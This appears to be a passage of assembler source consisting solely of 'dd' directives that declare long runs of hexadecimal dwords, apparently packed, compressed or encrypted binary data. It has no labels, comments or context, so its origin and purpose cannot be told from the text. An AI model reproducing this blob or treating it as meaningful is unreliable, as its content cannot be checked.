dd 80A092BDh, 390F4BE4h, 0DCC49D06h, 4E01ED71h, 7882FF4Ch
dd 85F43AE3h, 0C04297C8h, 8F79E4D9h, 9500A218h, 55D5C621h
dd 0F4A168C0h, 1D74B216h, 27CF1F88h, 0A95FE021h, 1EE86941h
dd 751F60D3h, 26806143h, 9A94D083h, 500E0EE5h, 57036AD8h
dd 28603E8h, 0C35F201Ch, 247C8980h, 0CC448104h, 47211408h
dd 83C35706h, 851306BAh, 6017C421h, 1DA59876h, 0C68BF92Ah
dd 4A04E8C1h, 5A3F5246h, 54892372h, 42001811h, 341BC352h
dd 7518E063h, 0DF1B08E9h, 0F1870069h, 0D5954214h, 0E264F766h
dd 59615160h, 4C89C8C3h, 410C76A5h, 588B8051h, 12098CBDh
dd 0B4836606h, 0BEA8D82Bh, 9318A42Fh, 3E3307E8h, 6985005Ch
dd 5076E22Dh, 31600F52h, 5A10C32Ah, 0F45E7B58h, 1931DC80h
dd 18569693h, 23C3725Eh, 1A117489h, 0C3564600h, 0D16D4F9Fh
dd 9B9EAE00h, 832FBF66h, 0E5B51AFFh, 2C17AA07h, 0EB811B11h
dd 70852DCAh, 0B806F8A6h, 1471B58Bh, 95FF0C52h, 0F90C29D1h
dd 0A9ADB070h, 0CB076E6h, 70E61AE4h, 398C5544h, 8914C35Dh
dd 45E0806Ch, 0B67BC355h, 8CA6BA00h, 71E4463Eh, 0F61073Ch
dd 0A028A83h, 1C465E4Eh, 47214B0Bh, 0F8B1007Fh, 290F4201h
dd 0D1A7D8B6h, 6C61817h, 0E989FAC1h, 3D1E190Eh, 0CCC06018h
dd 0B2BA78CAh, 0A5C0095Fh, 0AA198AC2h, 0E98B20F8h, 0D6110C60h
dd 0B0AE9575h, 4D200E51h, 6F0943C0h, 8D29C28h, 752A268Dh
dd 8195291Eh, 56091235h, 9C5110E9h, 0F70D00F0h, 58D4C028h
dd 2E18ACBFh, 0F285973h, 1EA3288h, 4780E92Ah, 4795E409h
dd 8937C403h, 1315999Dh, 3207B95Ah, 58305002h, 4689E4C3h
dd 162244h, 97C35040h, 0C1836910h, 0C1B05BE1h, 0F5C531E0h
dd 42C9D120h, 3BFA0213h, 0F7860FD9h, 7433102Ah, 53001846h
dd 0EA1E8DB6h, 0D96F8C66h, 5B875146h, 5C8922C3h, 43101D31h
dd 9500C353h, 77C2A0B2h, 29B74C46h, 9EEEA788h, 0C18A814Bh
dd 70859856h, 0E078AFB7h, 40DF67Ah, 2BFC840Fh, 8F1BE01h
dd 0A912C622h, 23F53E0Ch, 1784001Ch, 396437EFh, 0B12CFC14h
dd 7FD10A3h, 498D290Eh, 4B5B0C19h, 0C017887Ch, 1DCE5A09h
dd 8D896009h, 31DA7B5h, 51E3D63h, 2BF5610Ch, 23CF3AC3h
dd 0F7F0F14h, 818413BBh, 7043D83h, 6953445h, 135C020Eh
dd 3100097Bh, 5DD2B47Bh, 1A0F2B30h, 72B50B21h, 4AE9AF4Ah
dd 0D53CC200h, 31A0208h, 0F53087F2h, 38819690h, 0E43AF959h
dd 0E933038Eh, 0B3563339h, 0DA0D000Dh, 9764C566h, 2100041Ch
dd 12B1848Ah, 488B5F02h, 1BE8B1C0h, 75CB008Ch, 0BE464968h
dd 2B987FAFh, 85A7D8E4h, 4F601A44h, 70059236h, 0C7167531h
dd 83037594h, 0D52E27F5h, 1423532Eh, 890F5C04h, 58137C8h
dd 6A8427F6h, 0A1EA044Fh, 3F831034h, 71BDACF5h, 40D0D044h
dd 0D343850Fh, 0F42D033Fh, 99D5FF6Eh, 884B0A85h, 0A26DC018h
dd 0E71B3E0Fh, 0C81B0BE8h, 8D936Ah, 0A7332619h, 966E1FFh
dd 11CDBD18h, 588B5E6Ch, 9AA4C4FEh, 4B2FC01Ah, 237E2B4h
dd 19485181h, 0C1CCF80Bh, 1AC46B85h, 6DA7860h, 0FD526201h
dd 79A7BF8Eh, 90900760h, 200134D2h, 0C0979B5Ch, 50369DA8h
dd 0B0C19899h, 0C643247Bh, 0B501DE36h, 0BA4E2E8Eh, 0B5718D28h
dd 1C079D9h, 1D612995h
dd 1815F181h, 2C52487Fh, 622C0510h, 0E2F065A8h, 87C898ECh
dd 0FF3D0796h, 0B0FDCBA7h, 0B5802022h, 0A2E87853h, 0BD88301Bh
dd 0D078300h, 0E8AE7CB4h, 4821C009h, 935E0FC2h, 0BBFF210Eh
dd 0A8FE613h, 30CA901Fh, 0BFAB2565h, 0E7B143B9h, 640AD680h
dd 0E6FAE0A2h, 0BE57045Fh, 87CA68D3h, 8120AFF6h, 93D1EDEEh
dd 0A2EB2A53h, 8B9C3017h, 53A2EB01h, 379BD23h, 1B607424h
dd 0AE0FE680h, 335198C5h, 0B5FB4182h, 0BD8F1FE1h, 572EEB81h
dd 10615827h, 0FFF7AFE9h, 0A26063E3h, 0E4FF3818h, 0E9FD3312h
dd 31BDD020h, 51FE98h, 62F2F7B7h, 0C18B3A06h, 217851BBh
dd 4FEF4CEAh, 4EB8870h, 616006A1h, 8B7E00CFh, 1040698Dh
dd 784E9361h, 67A818A3h, 6100D955h, 0AA76BF2Eh, 0BA1CA07h
dd 65858DE2h, 8160CD24h, 6293910h, 906124E8h, 643F0769h
dd 139C4050h, 2DF770F5h, 0F9B9B834h, 0E61F6120h, 3AEB8D1h
dd 0F5F7BFF3h, 5408280Bh, 84068C0Fh, 0D799B501h, 0C4DE985h
dd 0A4EEDEE0h, 756ED860h, 0F8C161CBh, 61615E9h, 18BC3A38h
dd 0C123058Ch, 14C0FCADh, 9B40AA9Bh, 305F083h, 0AA1155BFh
dd 0F0F8903Bh, 8D7C0F50h, 35BE41C0h, 0FF13E438h, 3EF27266h
dd 28A1740h, 19305289h, 3254E85h, 0F28B612Ch, 0FB695C74h
dd 55F60708h, 8D6549F8h, 48601464h, 0CA0A9D8Dh, 0D406159Bh
dd 410880C8h, 0D3FF0423h, 0E738C8E9h, 83765607h, 59A1FDB6h
dd 0A660893Eh, 5197A835h, 2480550Fh, 1D49F146h, 0D785315Fh
dd 0A18C4432h, 2DE80D07h, 28815DC0h, 85E2F3EDh, 601CE46Ah
dd 22BF2B6h, 0D8F4E05Ch, 9E7A6DBh, 39B4869Eh, 0DC040DBh
dd 0A72F4D29h, 500A3B12h, 498D2E02h, 9DB5482Eh, 0E8B9CF5h
dd 3288501h, 1EE3810Eh, 0D111B269h, 8DB0B17h, 839F5653h
dd 8414578Ah, 1184AE31h, 0F1206616h, 4EE92822h, 0D985100Bh
dd 41BC5820h, 426BB01Eh, 4BE9F3BFh, 23C83E36h, 4BE40019h
dd 0D3DE31CBh, 0D714D898h, 97385FE7h, 95BDB621h, 20320AC2h
dd 0C454A786h, 0E1156017h, 5659629Ch, 81011FC5h, 0A571FF23h
dd 2A7CC0CEh, 488CE8C0h, 0DD103ADBh, 0C3F6121Eh, 295A92C2h
dd 88F88C46h, 28BBB396h, 0FA26083h, 8C506505h, 0CC03CBFAh
dd 49C9654h, 10D5A8A1h, 26471EC7h, 3A245289h, 1182325h
dd 1BF32575h, 29E09FE5h, 0C8C601E2h, 0E947A427h, 632B652Eh
dd 301CA22Eh, 60019708h, 0FCDE1096h, 89421F6Bh, 9E53C60Bh
dd 0E1234938h, 0E681B061h, 0F00A7670h, 4864D042h, 0BD104CF0h
dd 71E41407h, 8C17E891h, 0D7953409h, 3B93E48Ch, 0F9006436h
dd 38C6DAB8h, 0EA0909AFh, 0E1D17887h, 0D3E9C8h, 0D61F802Dh
dd 46B24BADh, 0FCA8910Eh, 6C52E20Dh, 14AA7917h, 4D17C051h
dd 9960561Bh, 0B1D6363Ch, 0B73C4968h, 96C78101h, 438FDD1h
dd 1A884FCEh, 0B607E6C0h, 78381269h, 124C08B8h, 73924B80h
dd 3C260AC8h, 0ED1E762Eh, 0C0FC5D06h, 36129DECh, 24011C89h
dd 54A8E681h, 422C5176h, 52279D4h, 0B3CBBF04h, 27B74318h
dd 1DB80F58h, 0AD6E008Ch, 0BB7B7E93h, 0CA2CF2AFh, 0B71D9DAEh
dd 13B05F8Eh, 1D23093Ah, 3446AF01h, 4084B16Ch, 0C04E294Ch
dd 422BD649h, 0B5107BB8h, 204F03C1h, 0E8B7AC54h, 0A2FE4A09h
dd 896F0061h, 9325E19Dh, 0A3B52550h, 73708400h, 296ABA6h
dd 0B5292E39h, 0ADA22D59h, 0C92E0C87h, 89329982h, 214D6909h
dd 7110A93Bh, 5A291815h, 0F51B2097h, 0C900EEBDh, 0A98F8CEDh
dd 49317988h, 24498F9Ch, 0F004D9BCh, 48AB90A0h, 890DBFC0h
dd 0B6F54DBDh, 0A958BA39h, 38C1BFCh, 7DF66AD7h, 0D0989EB8h
dd 42B98D31h, 898BC629h, 44020B95h, 33574C66h, 48B8752Ah
dd 2906B15Fh, 1227C59Dh, 0A960BDF0h, 0C1BE5833h, 0B616E0B6h
dd 1809168h, 0D0A5CF81h, 5D6C3FB5h, 0B7DEC896h, 7A0A7E72h
dd 0E0C01BF0h, 205E0D11h, 9D54A92Ch, 3A114A02h, 0DB5FC9B3h
dd 64A4D85Fh, 0E419424h, 0E84C0D20h, 736F806Ch, 0E9F3EF7h
dd 0FF2529D5h, 0A055ACA7h, 6160E280h, 73485F5Bh, 1129970Eh
dd 125A8C86h, 0F97A0459h, 2988161Dh, 0AA818AD2h, 6D3071CEh
dd 0B850D428h, 8018C1Bh, 0D43BB9AAh, 0B06B78C1h, 926BD67h
dd 5B92B82Bh, 28780FC7h, 172520E1h, 59C32B24h, 241A4674h
dd 6902EBB5h, 0D3E95F11h, 0D26010FBh, 1A23412Eh, 0ABEEEF00h
dd 27AE781Eh, 0D720E9C7h, 0ECA69A49h, 61F8D507h, 4FE4811Fh
dd 19C88C8Fh, 39F8BDC0h, 9CD402A8h, 1FA6BE66h, 2BD98F82h
dd 30A77CD2h, 3E621444h, 756D8061h, 0D3FE3CCEh, 1B23F92Eh
dd 5F879700h, 251FDBCFh, 6F0B5E5Bh, 34194991h, 0FB7D7F13h
dd 3DD77E4Dh, 0EDC0E903h, 3FE6C056h, 951D09A0h, 9D09994Ah
dd 4F192B35h, 823A403h, 0FF1F08BDh, 0E48A4725h, 85366018h
dd 0FBEF28ABh, 231920CCh, 0BF601096h, 58772638h, 89580E50h
dd 0F9C16293h, 0BE02B7CCh, 428A262Bh, 5D190h, 0FF41841Ah
dd 0BA17479Bh, 0D70991C7h, 0AE3F18F7h, 175E07ABh, 0B7FA4159h
dd 0F0857B4Fh, 0B369038Fh, 0A810F824h, 230F2D6Dh, 0C79698Dh
dd 75CC5061h, 3DF8899Ch, 90E2649h, 0CF02B5BDh, 0ACF64636h
dd 0C97AFA66h, 353FA16Fh, 59950640h, 85318028h, 136920h
dd 0DC8A5260h, 0F48BFFBBh, 815E3900h, 736BB3D7h, 6FB7162Eh
dd 83F23061h, 0E512A08Bh, 1DB6510Ah, 594E5FE0h, 24027A3Fh
dd 0DE4DC2h, 8E06BEDFh, 6055A7B9h, 87E852h, 0B2A4892Fh
dd 0E486F99h, 4FD4C9D7h, 84C737A0h, 7302231Ch, 5A53446Bh
dd 0F795E15Eh, 75F89D43h, 0E2FFE8E6h, 8F2958F9h, 41C18973h
dd 41561A0h, 661E42F3h, 0BC0B14BFh, 3C41793Ah, 0F05CD811h
dd 0B1BF0450h, 0B14E3873h, 0F0032666h, 1C9A6E7Ah, 4CA39605h
dd 0F360535Eh, 0A4505F6Ch, 55214F99h, 0E8BDB7FFh, 1F20B370h
dd 1B6D28E3h, 48117B6Ah, 15ECE316h, 52B34F8Ch, 0ED46FF6h
dd 25C7902Ch, 0CF1C4814h, 50243250h, 129FA5D3h, 84801D11h
dd 0F38A16F8h, 1846763Fh, 7DFEC223h, 869FB619h, 6065D1F6h
dd 69E2808Dh, 3B174103h, 6062876Ch, 0E6090735h, 0C6810F36h
dd 3C8B0DC5h, 0BF49204Ch, 12952DF0h, 0DC3E541Dh, 0CF189200h
dd 122297FAh, 0E27D6155h, 68D1A4C7h, 7BEC737h, 0E97B7A30h
dd 7028B4F8h, 0F9821F1Bh, 2986E20Eh, 9D13C97Ah, 0D5DD13DDh
dd 0AB25CF39h, 17402566h, 99BD1383h, 57D5C81Dh, 9DF627D2h
dd 0A5E95EE0h, 3E6F13D2h, 17BEFE00h, 99F6AEB9h, 4E40E84Ah
dd 0CC78DC19h, 5FA701D3h, 0DD8589AFh, 0DC6A716h, 1B3CC8E3h
dd 7804B9D0h, 0D21747B9h, 6F9FE9DFh, 0D8801B11h, 0D73059B4h
dd 0E219C113h, 0EF50906h, 0D3418484h, 8F789E32h, 40A2A087h
dd 249482BCh, 20543F17h, 76B8BEEDh, 0DD011946h, 0F8E51ECEh
dd 45752191h, 2A030BE8h, 0FA1474Eh, 12C97DA9h, 823ADB8Ch
dd 5051623h, 61A2082Ch, 53035F22h, 0D92D5CBEh, 2260D778h
dd 945629CFh, 0BD2B61D1h, 90076431h, 0FE8B501Dh, 4674EA26h
dd 0D2D5001Ch, 0B98D3374h, 24B7164h, 0B2ECC8BFh, 0D690E808h
dd 38095D4Ah, 64F6688Ch, 0D8F10088h, 0F504B02Eh, 5F7E363Ch
dd 7C81F26Fh, 2F372Dh, 0BC46E715h, 0F120BD29h, 70E60B14h
dd 98C8B523h, 769C71E4h, 75D3727h, 0D0F7C988h, 0CFAC235h
dd 12F56027h, 204B7671h, 0C4B384F5h, 1316ED8Ch, 1BE257B3h
dd 9EE30h, 10C0843Bh, 0F18B07D8h, 0BE00749Ch, 3326B91Ch
dd 0E33FB2Bh, 69301DA2h
dd 0A5AC018Fh, 0CD9FE6F6h, 0BFD16006h, 50172B7Dh, 40D1880Fh
dd 1A68FB8Bh, 0A9BC874Dh, 3AE4A802h, 418B0108h, 7A290F47h
dd 0C8BCFFD1h, 280B7A13h, 66FE490Bh, 9D2917DCh, 0DD3053D9h
dd 0A81E2D5Eh, 5EBC029Ch, 0BB5662A2h, 494DF685h, 809DB0F0h
dd 0E7801D91h, 8E40C4C2h, 6A519304h, 5D848AA0h, 8DC093DBh
dd 0FA475B96h, 9E24DF78h, 60011773h, 10E905B0h, 842D9Eh
dd 80A9379Ah, 51003BA4h, 1D594BA2h, 483EBAECh, 81019661h
dd 0D777B2EFh, 2448695Fh, 5AAC071Dh, 7AA37FDEh, 0CAC70042h
dd 0BD687961h, 25C013E9h, 719CB995h, 72CBFED1h, 84120016h
dd 941A6F9h, 0D224DB64h, 14AEE14Ah, 32F805DCh, 0C5B28557h
dd 893CD3C7h, 6928D9B1h, 0B5298159h, 84391E99h, 15A2DE53h
dd 2678B330h, 8000F98Bh, 86BAEE81h, 0E19225A4h, 320922A0h
dd 0CDE28B82h, 0CF5CC018h, 0F705B41Eh, 0E9952960h, 0D953B7D2h
dd 615F892Ah, 31850781h, 4394521h, 1F0132F1h, 70F5BD09h
dd 401CB4C6h, 0A9D7A8E2h, 0B57BE000h, 0BBBC2781h, 4C89B43Eh
dd 1C41C574h, 854C6F3Ch, 4F2DC910h, 2FFF394Dh, 3044333Ch
dd 9D820027h, 0D6715B58h, 701612DFh, 3E88A6B1h, 0DB2BD5AEh
dd 4502C7BCh, 6A184759h, 8346B1h, 0A9E54939h, 68F598E6h
dd 1A17C91Dh, 0BFE8F242h, 0F9FCCC0h, 0C8F78166h, 3A5B5B6Bh
dd 7FC77B70h, 0BF8D0208h, 3E90AB03h, 2A563D42h, 81C32B80h
dd 2D1143CFh, 4D316951h, 0F2B2732Dh, 858B3016h, 0BDC2AE4Ah
dd 38E90217h, 59BEC790h, 0C0525A7Fh, 301CE22Fh, 0B900BE48h
dd 0A558E777h, 0C8518BEAh, 98906B4h, 0BC0CFA95h, 6F5F39A2h
dd 0A8FE0079h, 0EFAB463h, 85C72537h, 0EF3D2468h, 375B2725h
dd 0C88813B2h, 86387E99h, 5FAE027Ch, 61CE15ACh, 9A256906h
dd 17EC4E3Ch, 0EDF90B8Ch, 7E02B9BCh, 4BD31E85h, 134FB16Fh
dd 250ECA45h, 0C9FF68E8h, 903200D3h, 436E55ADh, 6502B316h
dd 0E5D0494Ah, 8570607Ah, 5E264061h, 0F34983B1h, 98BD53A2h
dd 6BBB90DFh, 0F06B78h, 49A834A2h, 810FC586h, 0B6A81294h
dd 6E170A02h, 0DE5E522Bh, 0AE71DC18h, 50B45D2Bh, 28AF158h
dd 7F76BAF4h, 969DCF29h, 8C801911h, 5D09780Fh, 0DAE9F529h
dd 1CDDAF00h, 1D99A4Ah, 30CB3C18h, 0DC90D789h, 762C413Dh
dd 0E425B752h, 0ABA40126h, 0B5037BB3h, 5E19347Dh, 885AD8F9h
dd 9506F4Ch, 37803CCFh, 0CA71874Eh, 0EC5644EBh, 0FD1E8026h
dd 1D755762h, 44718A5Ch, 0ED5F4FFAh, 88B80Bh, 9A19C9D2h
dd 0E681B2D6h, 52E01202h, 0D02CE901h, 0E348AD62h, 0DEE852F4h
dd 5D4830B4h, 6860270Eh, 1361FC05h, 0E7FFFEB9h, 8F32A01Bh
dd 0AC08247Fh, 2D351CA5h, 1A714FA2h, 0A3C15004h, 21C4586Dh
dd 30DD308Dh, 29D9BD25h, 49181383h, 80389E23h, 0D816C6F0h
dd 33CE045Dh, 0D42205BDh, 76395549h, 80037BCh, 6B20B14h
dd 40F340Ah, 0E183FEBFh, 247C201h, 95DE8B23h, 0B90E647Eh
dd 46CE1E84h, 390E80Bh, 58037F5Fh, 0D5D099CDh, 3C60AFC4h
dd 4D9D0B2Eh, 5F0A7BF1h, 974CD98Bh, 88D8CF44h, 7FA2C019h
dd 3112A7A5h, 9DE4E8E2h, 2B0300C0h, 0F305394Fh, 0F572DE7Bh
dd 21E0CF00h, 9DD17ACEh, 191309BBh, 428A4B1Ch, 121710C9h
dd 37756061h, 0F0A023F6h, 3F0BE4CBh, 2E611DEh, 0A2A15DAh
dd 2ED90821h, 0D16467Ch, 48F94E3Fh, 0BEC3406Ah, 5BAA0D0Eh
dd 63E1BF05h, 0F1046CA9h, 7B2ED9h, 92327535h, 2D8B6BB4h
dd 9C42B195h, 0D26DD19h, 90A82A6Dh, 51467201h, 2E70A987h
dd 0DAC25820h, 65F4D8B8h, 0AFFF01F4h, 6D4DA76h, 8DF82034h
dd 2079120h, 0E584D281h, 64A44685h, 16233F23h, 0E07FF700h
dd 24D8D2BAh, 21204856h, 1819715Dh, 49A39477h, 8DC17D04h
dd 80C93844h, 0F4259CADh, 4D68484Fh, 9F000A22h, 89D57F92h
dd 32F81F82h, 5A4A59EBh, 8803DFA4h, 1347DD40h, 0B50593B0h
dd 8223ED80h, 85003766h, 0A61D1BCBh, 0ADD9BADh, 8B7BA9D0h
dd 8E4D693Ah, 59B03943h, 8180AC05h, 9D451FEFh, 21E73B53h
dd 181DF925h, 63ED0096h, 17623DABh, 0E22ADD4Dh, 1998768Bh
dd 85325124h, 0E3530CE4h, 10033EB6h, 0A511FD9h, 2027206Eh
dd 0E4002EC4h, 53170830h, 5365A233h, 800AF75Fh, 0AB232C4h
dd 83C1E19h, 8B0C2A49h, 5BF51CFAh, 8009DE14h, 0E966B6BAh
dd 222E255Ah, 570288E4h, 9EF62DF5h, 21C5693h, 5BBA32C7h
dd 2E90848Dh, 1923163Bh, 71C9FA00h, 9069F7D4h, 2F1530CCh
dd 20259DDFh, 0B44ABAEh, 19BD128Bh, 0E0E2D021h, 4CF762A5h
dd 0FA55B781h, 0BB28C21Ch, 0DE172Ch, 9376E6EFh, 55858B19h
dd 2E310C40h, 9F1DD1BDh, 0FA3A25C7h, 96701E7Bh, 0C06C0335h
dd 0A223BDE8h, 870F50B8h, 0DE8A63A0h, 96E614Ah, 9FBF4D00h
dd 0C5B5296Ch, 0EB015EBCh, 0E99D6107h, 0E4BDC7C2h, 18E36116h
dd 70A953E6h, 7C009921h, 1EFCA5Dh, 951381B5h, 1BA79A7h
dd 0EDF01130h, 937BBEAh, 214C283h, 0F0F1D83h, 8D82FC3Fh
dd 162CB085h, 0FF64E1E0h, 0DD6C3551h, 7D073589h, 2B588320h
dd 0F01A2DC2h, 38813440h, 1F5A4D24h, 1761211h, 33C50B7h
dd 0D93A81D0h, 84199345h, 842DBA23h, 49E945F0h, 8B12DED9h
dd 24D7C2C8h, 3C400301h, 22E44FAAh, 0EBF31BA5h, 11811210h
dd 5BF8051Bh, 30C1C0Ch, 6FC120D1h, 86C4D2Dh, 7406512h
dd 58F2864h, 0C483166Dh, 51C78804h, 5AC8B4Ch, 0B0A98110h
dd 59B51418h, 0C3C00533h, 0D6EDBD83h, 2444E116h, 0C1852FC6h
dd 68478500h, 9A02A7D2h, 1B5FFD4h, 87D15631h, 6F15827Ah
dd 6270D08Bh, 0D8241E9h, 0D3EB8020h, 0B5BD2B60h, 7EC19C30h
dd 7E031446h, 2C35B966h, 2F01B811h, 12097518h, 74882149h
dd 53503019h, 438B86Ch, 35AAA4B5h, 9D0699B9h, 0BC14AD09h
dd 585BD315h, 21178822h, 0A9F8E220h, 0B5B50930h, 6C04F729h
dd 92E8E8FDh, 0B3C95A0Ch, 130C4EE8h, 0E04FE696h, 0C065Ch
dd 49C127CCh, 11B58B5Dh, 0A410D6ABh, 233E0841h, 752AE518h
dd 0D48207D2h, 0FEEE407Fh, 373D387Eh, 5F6401B7h, 0DC1A8CC2h
dd 25B14688h, 0D4D9B902h, 3503C8DDh, 0AA51C829h, 3D20F9Eh
dd 13FA9D33h, 2114C13Eh, 0E097E1DBh, 461AE580h, 56388EE8h
dd 7A16DE6Ah, 1BB4E812h, 4FDE0075h, 0E92C5432h, 7C0545D0h
dd 0B4F84249h, 601A7EF3h, 0DD435A61h, 36EC15Ah, 0BB8B4C00h
dd 85317B1Fh, 8634512Ah, 0DBD5246Bh, 298273FDh, 8920ECC0h
dd 0C4DD6703h, 79EB8A15h, 10C40B0h, 16E99526h, 0EA133193h
dd 0FDE625D3h, 0FFE87BBDh, 0E7B94E02h, 0C88D7FFAh, 0C4B42FFAh
dd 0FD2B197Ch, 68E80Fh, 3B177B3h, 0F9CE62AAh, 0AD90E832h
dd 91EDC250h, 42735E90h, 4BBF9900h, 0A5CF524h, 0A920A390h
dd 4BCAD42Ah, 0CE242927h, 64A888E5h, 108559D4h, 0C58421B1h
dd 8D030431h, 660C8AFDh, 498E5CBEh, 0DA6E37D7h, 3A07DA01h
dd 7EDBE049h, 0ABED7D0Dh, 98088947h, 24318861h, 400D4F95h
dd 85418ACCh, 69097C00h, 0E8B1FA19h, 0D0054FEAh, 0FBE4DEE9h
dd 2D796AC5h, 297D7F04h, 2DD4E806h, 0C61DBB81h, 19B11183h
dd 4AA0B376h, 0CF608B66h, 876CD956h, 3FB568E8h, 1F1515C7h
dd 0B929A512h, 25E847h, 0C6F7EBFEh, 6A9772F3h, 6B80E835h
dd 0CFE0D7E6h, 0F392F583h, 30D9326Fh, 0CFBF839Dh, 655B4EE8h
dd 73835DDBh, 0F2ADF609h, 1F160080h, 22A18A2Ch, 0B46E06ACh
dd 88905287h, 0BD31F12Dh
dd 30BE16D5h, 1D2E2FE8h, 61B5DB00h, 10D4BCF2h, 8136000Ch
dd 329DCC22h, 803CB80Ah, 0DCE816D9h, 0BE075952h, 42E4EB1Dh
dd 0C8165BECh, 864495Fh, 1C642167h, 0E63C4560h, 137410BDh
dd 619D2429h, 49C4238h, 1C2BD57h, 3AA1322Ah, 84EB78A3h
dd 958762B1h, 9F8383DBh, 0A1C627B6h, 5832E3Dh, 9C7D42ECh
dd 236D3BBBh, 313D0416h, 49AC8118h, 56F5020Bh, 79FA2372h
dd 42C23403h, 67C8104Ah, 4AC50980h, 2A042960h, 0BD01041Ch
dd 26F907C5h, 1ECC1851h, 0C4654B20h, 2BF6F58h, 0C321751h
dd 2D905D58h, 558218EDh, 1374410h, 6105ABECh, 0D82B6E08h
dd 0C23E376Bh, 85EC360Eh, 1562D180h, 0F4B82AD9h, 5046EB0Fh
dd 5BF092B1h, 0A98D1233h, 0B586E81Dh, 0CFA01FA6h, 9000C8A9h
dd 0C1815043h, 2685755Eh, 11865B47h, 8DFC0501h, 29959195h
dd 0D2E0B0F6h, 6600CED5h, 0D3BAFB71h, 25C1B1F5h, 764D1A89h
dd 20FDF0C9h, 89172719h, 0CD080442h, 99B2B165h, 0B0CD372Dh
dd 671E40h, 76B82558h, 0CE8143EDh, 987AE10Bh, 9405F865h
dd 0B6C6341Ah, 0A3BCE050h, 0C1FB6B01h, 4971775Bh, 15AD8541h
dd 0D0E205h, 3E63AA4Ah, 0F2B9D3h, 5272C4E4h, 0F537B66Dh
dd 92A10D7Fh, 4A512CFDh, 7682CA9Bh, 80D131D3h, 0E61ADE00h
dd 77F242CBh, 226297DFh, 15F89009h, 316FE6D2h, 136C6E0Ch
dd 1E402DB2h, 0A958D2F9h, 0BE1B889h, 0B63BF345h, 6D012C64h
dd 9FB9D6D3h, 0C6D481A6h, 230D361Dh, 0B7B5B89Ah, 9640110h
dd 222DA18Dh, 287D124Bh, 24E90AD0h, 9BC8D2BCh, 945A8604h
dd 0DCBE9C9Fh, 51FEEB01h, 0DAFAA8AFh, 0C4A75CC0h, 1F2A05A4h
dd 2CE885A8h, 8F2FEA20h, 3C2140B9h, 995F08A2h, 0AB79386h
dd 139DBD2Bh, 5629448Eh, 65805E9Bh, 14EA64D2h, 9B11AD00h
dd 89605861h, 80DD4ABDh, 0CD9D3172h, 0AEFF8BBAh, 465E46CEh
dd 7B24B18h, 0D1B50908h, 3FE3D4B4h, 0F6FFA83Ah, 77F2A2h
dd 0B38D5D11h, 12B2BF0Ah, 7968C50Ch, 4065F851h, 4B55626h
dd 0AA10111Dh, 1CCD1A25h, 7C516DC0h, 4950CBD5h, 3EA1962Dh
dd 7305DB6Eh, 8332768h, 0E90D07A6h, 9B3A2069h, 0F86C387h
dd 0E1BCFC82h, 0ABD87B84h, 7127860Bh, 0B58985A6h, 0FC0A4F11h
dd 0DC8F9BB2h, 28F8B092h, 0FB73122h, 1F04B643h, 8A011B79h
dd 0B8840FC5h, 5E0C4F3Bh, 411D24C8h, 0E8BF3916h, 230242B9h
dd 20105A70h, 958CAA11h, 34C33DEDh, 6056F864h, 0CA8B00F8h
dd 0C6815F61h, 3F71AEF3h, 0AFE3C4D6h, 48BCA94Dh, 4E7CD400h
dd 5D826738h, 0BD0315E0h, 9002A8F1h, 53E7BF66h, 0FE79D250h
dd 0F9784BB3h, 3C9E605Ah, 0C085D381h, 10388435h, 42017E6Fh
dd 0BF0F54A7h, 0D98340F8h, 6011637h, 0E304E781h, 6F015Ch
dd 515650B1h, 5F2DFD8Ah, 808DE05Bh, 7AEB69D3h, 0F973978h
dd 94DB137Ch, 0FC5EAEC0h, 9C042DEBh, 0CA7726A5h, 2E9D72C1h
dd 0DE9E0B04h, 89BF6D79h, 2E334D8Dh, 6DF5D61Ah, 0AFC0A15Bh
dd 919D8B94h, 0A2D5025Eh, 0FF166FF9h, 0E07FA6D1h, 4B0709A2h
dd 1DA10863h, 0E9208628h, 116DBC0Eh, 0E8746E3Dh, 26A0930h
dd 56C07D6Dh, 627865C9h, 0F55D0DFh, 90BF5003h, 0AA411D1Eh
dd 0D5A602E1h, 0AE9012Ch, 0C82C6F0Eh, 1B3741E3h, 0A68EC180h
dd 0DA958318h, 176DC89h, 4CCF81F9h, 207B0E1Bh, 965E8F3Eh
dd 0C834B81h, 0E1B676C2h, 509D9509h, 8A6090CDh, 0A0E8C62Dh
dd 6DA5ED76h, 0C01707FFh, 102F05ADh, 5F0D68A9h, 1D35614Ch
dd 0CDAD29B7h, 4083E0AAh, 5B0B6897h, 1C7B721h, 31ED9DF1h
dd 4A4FE605h, 7E72956Eh, 32C62FEBh, 0EF816FB0h, 2FC2490Bh
dd 0A4A5D176h, 9C12DE88h, 9C064C06h, 4A4932E1h, 0E160E6FFh
dd 0D0217833h, 8092942Fh, 0B5FFDB24h, 48A651BCh, 16147588h
dd 2165A5E9h, 0E87224h, 3C7CC2EFh, 63404Fh, 0F764258Ch
dd 0E9143679h, 0B0660816h, 0E6DE5C80h, 8744B970h, 0A7C08A45h
dd 1CCC9031h, 0A100D62Bh, 0FA874C36h, 929A01Fh, 5671E45Ah
dd 15F155D0h, 0E93799A9h, 0A98DC14Bh, 0B6C98B1Fh, 0F8A79C8h
dd 0E209274h, 0A31930BBh, 0BF40DC9Ch, 0B78D6723h, 0BDB60850h
dd 0FC100347h, 154B0DEh, 0F9E3CDAAh, 3EB562FBh, 5AEBF097h
dd 2BDA1731h, 0AD0509C8h, 60D13C90h, 18207FFBh, 2CE78061h
dd 64DCE9C0h, 2B5CE585h, 0EDE2CC8h, 772C5AB7h, 0A6AD1300h
dd 9F0181BDh, 5C23F73Eh, 0E830A7B8h, 200C9807h, 12D228D1h
dd 133D3D4Ch, 18C30A80h, 1192D03Bh, 0C7810011h, 5357DA7h
dd 0BDFEE66h, 47E99798h, 0C425B279h, 0BD090908h, 0DDA3042Dh
dd 0AD9C0EBBh, 0C5843EE5h, 8122AD68h, 65CE8002h, 80A58361h
dd 0B509FE24h, 25F99939h, 5638D893h, 0A5CCE290h, 6091080Ch
dd 0D407B58Dh, 0B7B7157Bh, 59FC3089h, 0C5488865h, 90E3C03Ah
dd 1EA24A54h, 0AACAD6h, 4421366Ch, 0BF0DE5AFh, 72C70BA7h
dd 4F82FB30h, 1EACCFAh, 28D9D25h, 7805B95Bh, 0BF70F7B8h
dd 47FC8108h, 880F3193h, 3FEA1604h, 0F64B709Ch, 0EEE4B2h
dd 41E7E60Eh, 0ED507B78h, 25405DBBh, 0E4C0482Bh, 111F7519h
dd 0A1DB2ED2h, 0FED4380h, 0AD0CD8B7h, 42D1C233h, 17B490D0h
dd 0DBF47504h, 0FC1F8063h, 269872DAh, 631D89E1h, 2FD0504Fh
